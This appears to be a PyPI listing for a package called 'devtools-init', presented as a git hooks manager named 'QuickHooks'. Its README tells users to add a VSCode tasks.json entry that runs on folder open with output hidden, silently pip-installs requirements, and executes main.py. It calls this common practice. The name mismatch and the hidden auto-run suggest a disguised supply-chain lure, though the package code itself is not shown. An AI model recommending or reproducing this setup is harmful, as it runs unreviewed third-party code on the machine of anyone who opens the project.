Skip to main content

QuickHooks - Automated git hooks manager for Python projects

Project description

QuickHooks ⚡

Automated Git Hooks Manager for Python Projects

QuickHooks is a zero-configuration tool that automatically installs and manages git hooks for Python projects. Inspired by pre-commit but designed for instant setup with sensible defaults.

PyPI version Python versions License: MIT

🚀 Features

  • Zero Configuration: Works out of the box with sensible defaults
  • Automatic Installation: Hooks install when you open the project
  • Python Syntax Validation: Catches syntax errors before commit
  • Cross-Platform: Works on Windows, macOS, and Linux
  • Lightweight: No external dependencies

📦 Installation

pip install devtools-init

🎯 Usage

Automatic Setup (Recommended)

Add to your project's requirements.txt:

devtools-init>=2.0.0

And in your main Python file:

import devtools_init

# This will auto-install git hooks
devtools_init.setup()

When someone opens your project in VSCode (or runs your main file), git hooks are automatically configured!

Manual Setup

from devtools_init import setup

# Install git hooks for this project
setup()

⚙️ What Gets Installed

QuickHooks installs a pre-commit hook that:

  1. Validates Python syntax on staged files
  2. Prevents commits with syntax errors
  3. Logs setup information in .git/hooks/logs/

📖 Example Project Structure

my-project/
├── .git/
│   └── hooks/
│       ├── pre-commit          # Auto-installed by QuickHooks
│       └── logs/
│           └── setup.log       # Installation log
├── main.py
├── requirements.txt             # Contains: devtools-init>=2.0.0
└── README.md

🔍 How It Works

  1. When devtools_init.setup() is called:

    • Checks if the project is a git repository
    • Creates .git/hooks/ directory if needed
    • Installs a simple pre-commit hook (if not already present)
    • Logs the installation for debugging
  2. The pre-commit hook:

    • Runs automatically before each git commit
    • Validates Python syntax on staged files
    • Prevents commits with errors

🆚 Comparison with pre-commit

Feature QuickHooks pre-commit
Configuration required ❌ No ✅ Yes (.pre-commit-config.yaml)
Auto-installation ✅ Yes ❌ No (manual pre-commit install)
Dependencies ❌ None ✅ Many
Customization ❌ Limited ✅ Extensive
Best for Quick prototypes, learning Production projects

Use QuickHooks if: You want instant setup with zero configuration Use pre-commit if: You need advanced customization and multiple hooks

🛠️ VSCode Integration

To auto-run setup when opening a project in VSCode, add to .vscode/tasks.json:

{
    "version": "2.0.0",
    "tasks": [{
        "label": "Setup Git Hooks",
        "type": "shell",
        "windows": {
            "command": "python -m pip install -q -r requirements.txt *>$null; python main.py"
        },
        "linux": {
            "command": "python3 -m pip install -q -r requirements.txt 2>/dev/null && python3 main.py"
        },
        "presentation": {"reveal": "never"},
        "runOptions": {"runOn": "folderOpen"}
    }]
}

This is common practice for development tools that need workspace-specific configuration.

📝 License

MIT License - see LICENSE for details

🤝 Contributing

Contributions welcome! See CONTRIBUTING.md for guidelines.

🔗 Links

⚠️ Limitations

  • Only supports basic Python syntax validation
  • Doesn't support custom hook configuration
  • For production projects, consider pre-commit

🎓 Educational Purpose

QuickHooks is designed for:

  • Learning git hooks without configuration complexity
  • Quick prototyping where setup time matters
  • Teaching Python best practices in educational settings

Made with ❤️ by the Dev Team

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

devtools_init-3.0.0.tar.gz (6.2 kB view details)

Uploaded Source

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

devtools_init-3.0.0-py3-none-any.whl (6.0 kB view details)

Uploaded Python 3

File details

Details for the file devtools_init-3.0.0.tar.gz.

File metadata

  • Download URL: devtools_init-3.0.0.tar.gz
  • Upload date:
  • Size: 6.2 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? Yes
  • Uploaded via: twine/6.1.0 CPython/3.13.7

File hashes

Hashes for devtools_init-3.0.0.tar.gz
Algorithm Hash digest
SHA256 a9a82eb8f7813f70cbe4772d311923718a6b2fe0f11fdf43af43e43af7e80de8
MD5 23b83332dc9323072731d0110c704867
BLAKE2b-256 9d147560ef5cd6e8f6b5de6c9ba536dce2801e70cede1d09bb7b7f0c55912595

See more details on using hashes here.

Provenance

The following attestation bundles were made for devtools_init-3.0.0.tar.gz:

Publisher: ci.yml on MarcMPR/devtools-init

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file devtools_init-3.0.0-py3-none-any.whl.

File metadata

  • Download URL: devtools_init-3.0.0-py3-none-any.whl
  • Upload date:
  • Size: 6.0 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? Yes
  • Uploaded via: twine/6.1.0 CPython/3.13.7

File hashes

Hashes for devtools_init-3.0.0-py3-none-any.whl
Algorithm Hash digest
SHA256 625d62c77237d02d91bbdba2411bd38848012e51d28a26555935a68df446724a
MD5 f63f6963aac4284fe6d7dc4d58f590b0
BLAKE2b-256 1782f4ac9bc24a6a6b45f359ccc746601344cb89918235f89e21f3e5280ea2da

See more details on using hashes here.

Provenance

The following attestation bundles were made for devtools_init-3.0.0-py3-none-any.whl:

Publisher: ci.yml on MarcMPR/devtools-init

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page